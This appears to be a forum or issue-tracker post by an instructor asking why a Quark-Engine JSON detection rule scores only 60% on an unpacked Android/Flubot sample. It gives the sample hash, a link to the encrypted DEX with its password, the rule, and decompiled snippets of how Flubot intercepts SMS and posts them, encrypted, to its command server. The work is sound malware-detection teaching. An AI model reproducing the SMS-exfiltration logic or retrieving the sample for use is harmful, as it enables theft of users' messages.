Rule gets 60%, I think it should get 80% or 100%. Not sure.

Students and I are working on unpacked malicious sample **TI.json**, sha256: `b87b564401214ffe26592ada3f619126e2d83e2fc9d2fe55e421c8fd6ab2bf2f`. This is an **Android/Flubot**, unpacked.
The DEX can be downloaded [here](https://mega.nz/file/2Ax1CKgK#U402dQZcYRm-Pqw2cmuo7UvpBV6yGqmNqatPxm1gBAA):
It is encrypted with GPG, using password `infected`.

I am trying to write a rule that detects that _SMS content or number is sent over HTTP_.
This is the rule:

```json
{
"crime": "Get SMS address and send it through http",
"permission": [],
"api": [
{
"descriptor": "()Ljava/lang/String;",
"class": "Landroid/telephony/SmsMessage;",
"method": "getDisplayOriginatingAddress"
},
{
"descriptor": "()Ljava/io/OutputStream;",
"class": "Ljava/net/HttpURLConnection;",
"method": "getOutputStream"
}
],
"score": 1,
"label": [
"sms",
"http"
]
}
```

It only achieves **60%**.

I am a bit surprised, but perhaps it is normal, though I'd prefer you check with me.

In `SmsReceiver.onReceive()`, we have this code where the originating phone number of the SMS is retrieved.

```java
SmsMessage v2 = SmsMessage.createFromPdu(((byte[])v10_1[v1]));
String incoming_sms_str = Deobfuscator.app.Release.getString(-8990920220163560112L) + v2.getDisplayOriginatingAddress().toString() + Deobfuscator.app.Release.getString(0x8339D5A919462D50L) + v2.getMessageBody().toString();
```
It is placed in a string `incoming_sms_str`, and then sent to the C&C's panel via `PanelReq.SendAsync`:

```java
if(Bot.IsIntSms()) { // intercept SMS?
PanelReq.SendAsync(incoming_sms_str, Boolean.valueOf(true));
```

What `SendAsync` does it create a Thread (is that the issue why we only get 60%?). and then call `Send`, which forwards to another `Send`. There, the value gets encrypted (`PanelReq.Encrypt`) and Base64 encoded. It is stored as POST content (`SetPostContent`).

```java
byte[] inout = plaintext.getBytes(StandardCharsets.UTF_8);
PanelReq.Encrypt(inout, key, true);
String base64encoded_xor = Base64.encodeToString(inout, 2);
httpcom.SetPostContent(String.format(Deobfuscator.app.Release.getString(0x8339DB5B19462D50L), encrypted, base64encoded_xor));
httpcom.SetPost(true);
if(!httpcom.Submit()) {
```
Finally, the HTTP request is submitted. This actually creates a `DataOutputStream` and writes the stored post content (`this.postContent`) into it.

```java
DataOutputStream v3 = new DataOutputStream(v2.getOutputStream());
v3.write(this.postContent, 0, this.postContent.length);
```

So, for me, `getDisplayOriginatingAddress` and `getOutputStream` happen sequentially and have the same "father" which is `SmsReceive.onReceive()`. The only possible issue being the Thread in between. If the thread is not issue, I think we should get actually 100%. Shouldn't we?

Is this the normal behaviour? If so, why only 60%? Is it improvable?

I am using **Quark v21.4.3**.
Thanks !